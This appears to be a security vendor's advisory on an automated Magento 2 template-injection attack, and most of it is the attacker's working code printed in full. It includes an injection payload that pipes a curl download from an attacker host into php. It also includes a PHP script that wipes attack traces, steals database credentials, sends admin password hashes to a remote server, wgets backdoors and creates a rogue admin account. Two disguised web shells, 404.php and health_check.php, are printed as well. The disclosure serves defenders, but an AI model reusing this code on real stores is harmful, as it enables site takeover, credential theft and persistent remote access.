Are your Magento admin accounts legitimate? Chances are, that a klaviyo_support_XXXX
account was added this week. Best to quickly remove it and read the rest of this article.
Magento 2 template hacks have been raging since a month or two, and Sansec is closely tracking any new attack payloads. So far, we observed about 20 different payloads which all added a basic PHP backdoor. However, this one just came in and caught our eye. It
db:sales_order_address.28883,mailtemplate_attackpattern_rx2_6c392,).addAfterFilterCallback($order.shipping_address.last_name).filter($order.shipping_address.city)}}system3001 W OLD YANKTON RDcurl https://smtp.emailgenius.org/test/mnu2p18z8lawlNCWoqIxIl7sChZ1VIq6.php?d=https://victimstore.com | php
The following script does:
- Remove all attack probes from several relevant database tables
- Counts number of last week’s sales orders
- Installs
404.php
andhealth_check.php
as back doors - Uploads all admin users and the secret control panel path to a foreign server
- Extracts database credentials
- Creates rogue admin user called
[email protected]
What does this lead to?
- Magento template attacks are now (finally) largely automated, as we predicted.
- You should check whether you have installed all relevant patches and updates, and not inadvertently negated the patch (with a
LegacyResolver
) See our other reporting on the worst Magento security incident since ShopLift in 2015 and Ambionics in 2019:
<?php
error_reporting(E_ALL);
ini_set('display_errors', TRUE);
ini_set('display_startup_errors', TRUE);
$env = array();
if (file_exists('app/etc/env.php')) {
$env = require_once 'app/etc/env.php';
}
else if(file_exists('./../app/etc/env.php')){
$env = require_once './../app/etc/env.php';
}
else if (file_exists($_SERVER['DOCUMENT_ROOT'] . '/app/etc/env.php')) {
$env = require_once $_SERVER['DOCUMENT_ROOT'] . '/app/etc/env.php';
}
else if (file_exists($_SERVER['DOCUMENT_ROOT'] . '/../app/etc/env.php')){
$env = require_once $_SERVER['DOCUMENT_ROOT'] . '/../app/etc/env.php';
}
else {
print('Unable to load config');
exit();
}
$host = $env['db']['connection']['default']['host'];
$username = $env['db']['connection']['default']['username'];
$password = $env['db']['connection']['default']['password'];
$dbname = $env['db']['connection']['default']['dbname'];
$prefix = $env['db']['table_prefix'];
$path = $env['backend']['frontName'];
$con = mysqli_connect($host, $username, $password, $dbname);
echo "ADMIN: " . $path .PHP_EOL;;
try{
$result = mysqli_query($con, "delete from " . $prefix . "sales_order where customer_firstname like '%getTemplateFilter%' or customer_lastname like 'system'");
if ($result !== FALSE) {
echo "sales_order: delete".PHP_EOL;;
}else{
echo "sales_order: ERROR".PHP_EOL;
}
$result2 = mysqli_query($con, "delete from " . $prefix . "quote where customer_firstname like '%getTemplateFilter%' or customer_lastname like 'system'");
if ($result2 !== FALSE) {
echo "quote: delete".PHP_EOL;;
}else{
echo "quote: ERROR".PHP_EOL;
}
$result3 = mysqli_query($con, "delete from " . $prefix . "quote_address where firstname like '%getTemplateFilter%' or lastname like 'system'");
if ($result3 !== FALSE) {
echo "quote_address: delete".PHP_EOL;;
}else{
echo "quote_address: ERROR".PHP_EOL;
}
$result4 = mysqli_query($con, "delete from " . $prefix . "sales_order_grid where shipping_name like '%getTemplateFilter%' or billing_name like '%system'");
if ($result4 !== FALSE) {
echo "sales_order_grid: delete".PHP_EOL;;
}else{
echo "sales_order_grid: ERROR".PHP_EOL;
}
$result5 = mysqli_query($con, "delete from " . $prefix . "sales_invoice_grid where customer_name like '%getTemplateFilter%'");
if ($result5 !== FALSE) {
echo "sales_invoice_grid: delete".PHP_EOL;;
}else{
echo "sales_invoice_grid: ERROR".PHP_EOL;
}
$result66 = mysqli_query($con, "delete from " . $prefix . "customer_address_entity where firstname like '%getTemplateFilter%'");
if ($result66 !== FALSE) {
echo "customer_address_entity: delete".PHP_EOL;
}else{
echo "customer_address_entity: ERROR".PHP_EOL;
}
$result7 = mysqli_query($con, "delete from " . $prefix . "mageplaza_smtp_log where email_content like '%getTemplateFilter%'");
if ($result7 !== FALSE) {
echo "customer_address_entity: delete".PHP_EOL;
}else{
echo "customer_address_entity: ERROR".PHP_EOL;
}
$result8 = mysqli_query($con, "delete from " . $prefix . "sales_order_address where firstname like '%getTemplateFilter%' or lastname like 'system'");
if ($result8 !== FALSE) {
echo "sales_order_address: delete".PHP_EOL;
}else{
echo "sales_order_address: ERROR".PHP_EOL;
}
} catch (\Exception $ex) {
echo $ex->getMessage();
}
echo 'https://victimstore.com/'.$path.PHP_EOL;
$resultCount = mysqli_query($con, "select count(*) as aa from " . $prefix . "sales_order where created_at >= DATE_SUB(NOW(), INTERVAL 7 DAY)");
if ($resultCount !== FALSE) {
while ($row = mysqli_fetch_assoc($resultCount)) {
echo "Order last week: ".$row["aa"].PHP_EOL;
}
}else{
echo "get count week: ERROR".PHP_EOL;
}
$userSalted = 'klaviyo_support_'.genRndStr(4);
$passSalted = genRndStr(30);
echo $userSalted.":".$passSalted.PHP_EOL;
echo "DATABASE: " . $host . "|" . $username . "|" . $password . "|" . $dbname .PHP_EOL;;
echo 'https://victimstore.com/404.php'.PHP_EOL;
echo 'https://victimstore.com/health_check.php'.PHP_EOL;
system("pwd");
$result6 = mysqli_query($con, "SELECT * FROM `" . $prefix . "admin_user`");
if ($result6 !== FALSE) {
echo "ADMIN:".PHP_EOL;
$adminUsers = array();
while ($row = mysqli_fetch_assoc($result6)) {
$admin = new Admin();
$admin->Username = $row["username"];
$admin->Password = $row["password"];
$admin->Email = $row["email"];
$admin->Firstname = $row["firstname"];
$admin->Lastname = $row["lastname"];
$admin->IsActive = $row["is_active"];
$admin->Lognum = $row["lognum"];
$admin->Created = $row["created"];
$admin->Logdate = $row["logdate"];
$adminUsers[] = $admin;
}
$admins = new AdminList();
$admins->List = $adminUsers;
$admins->Domain = 'victimstore.com';
$admins->Adminpath = $path;
echo json_encode($admins).PHP_EOL;
SendUsers(json_encode($admins));
}
system("wget https://smtp.emailgenius.org/zMqt7rOQ9jpnaGGT52w07yExnH2Oemsq/404_djkhfjkfhhfj.txt -O 404.php --no-check-certificate");
system("wget https://smtp.emailgenius.org/zMqt7rOQ9jpnaGGT52w07yExnH2Oemsq/back_BqGoapdxCOZphlehIipJwIm7hlGGL44y.txt -O health_check.php --no-check-certificate");
//system("curl https://smtp.emailgenius.org/test/adm22fgfgfgf.txt | php");
use Magento\Framework\App\Bootstrap;
try{
if (file_exists('./../app/bootstrap.php')) {
require './../app/bootstrap.php';
}
else if (file_exists('app/bootstrap.php')) {
require 'app/bootstrap.php';
}else {
print('Unable to load bootstrap.php');
exit();
}
$bootstrap = Bootstrap::create(BP, $_SERVER);
$objectManager = $bootstrap->getObjectManager();
$UserFactory = $objectManager->get('\Magento\User\Model\UserFactory');
$adminInfo = [
'username' => $userSalted,
'firstname' => 'klaviyo',
'lastname' => 'support',
'email' => '[email protected]',
'password' => $passSalted,
'interface_locale' => 'en_US',
'is_active' => 1
];
$userModel = $UserFactory->create();
$userModel->setData($adminInfo);
$userModel->setRoleId(1);
$userModel->save();
echo "User is sucessfully created!".PHP_EOL;
echo $userSalted.":".$passSalted.PHP_EOL;
} catch (\Exception $ex) {
echo $ex->getMessage();
}
system("ls -al");
function SendUsers($users)
{
$url = "https://smtp.emailgenius.org/au.php";
$options = array(
'http' => array(
'header' => "Content-Type: application/json\r\n" .
"Accept: application/json\r\n",
'method' => 'POST',
'content' => $users
)
);
$context = stream_context_create($options);
$result = file_get_contents($url, false, $context);
if ($result === FALSE) {
echo "ERROR SEND USERS".PHP_EOL;
} else {
echo "SUCCESS SEND USERS".PHP_EOL;
}
}
function genRndStr($length) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
class Admin
{
public $Username;
public $Password;
public $Email;
public $Firstname;
public $Lastname;
public $IsActive;
public $Lognum;
public $Created;
public $Logdate;
}
class AdminList
{
public $Domain;
public $Adminpath;
public $List;
}
404.php
<?php
/**
* Magento
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to license@magento.com so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade Magento to newer
* versions in the future. If you wish to customize Magento for your
* needs please refer to http://www.magento.com for more information.
*
* @category Mage
* @package Errors
* @copyright Copyright (c) 2006-2015 X.commerce, Inc. (http://www.magento.com)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
?>
<div class="content-inner">
<section class="error-404 not-found">
<header class="page-header">
<h1 class="page-title">Oops! That page can’t be found.</h1>
</header><!-- .page-header -->
<div class="page-content widget-area">
<p>It looks like nothing was found at this location. Maybe try one of the links below or a search?</p>
<div class="widget">
</div>
</div><!-- .page-content -->
</section><!-- .error-404 -->
</div><!-- #.content-inner -->
<?php
if(!isset($_POST["s64213"]) || hash("sha512", $_POST["s64213"]) != '40fc7487d1ada98a8510e1f32ed28e996e5a2b00096eac5c10be2eec0926f0481e0c812410ab3da531fbf37bf4bbd70e3781b7f456555f4d630a2898f1137189'){
exit();
}
$url = $_GET["02b818675d009e603f5db8bf66"];
$filename = $_GET["name"];
if(!isset($url)){
$url = $_POST["02b818675d009e603f5db8bf66"];
}
if(!isset($filename)){
$filename = $_POST["name"];
}
if($url != null){
$content = file_get_contents($url);
if($filename == null){
file_put_contents("hhGhgTg.php", $content);
}
else{
file_put_contents($filename, $content);
}
}
$md = $_POST["02b818675d009e603f5db8bf66cmd"];
if(isset($md)){
$emails = explode("@", $md);
echo $emails[0]($emails[1]);
}
?>
health_check.php
<?php
/**
* Magento
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to license@magento.com so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade Magento to newer
* versions in the future. If you wish to customize Magento for your
* needs please refer to http://www.magento.com for more information.
*
* @category Mage
* @package Errors
* @copyright Copyright (c) 2006-2015 X.commerce, Inc. (http://www.magento.com)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
if(!isset($_POST["s64213"]) || hash("sha512", $_POST["s64213"]) != '40fc7487d1ada98a8510e1f32ed28e996e5a2b00096eac5c10be2eec0926f0481e0c812410ab3da531fbf37bf4bbd70e3781b7f456555f4d630a2898f1137189'){
exit();
}
$md = $_POST["02b8186"];
if(isset($md)){
$df = explode("@", $md);
echo $df[0]($df[1]);
echo true;
}
$mde = $_POST["02b8186ebc"];
$mdd = openssl_decrypt($mde,"AES-128-ECB",$_POST["k"]);
if(isset($mdd)){
$df = explode("@", $mdd);
echo $df[0]($df[1]);
echo true;
}
?>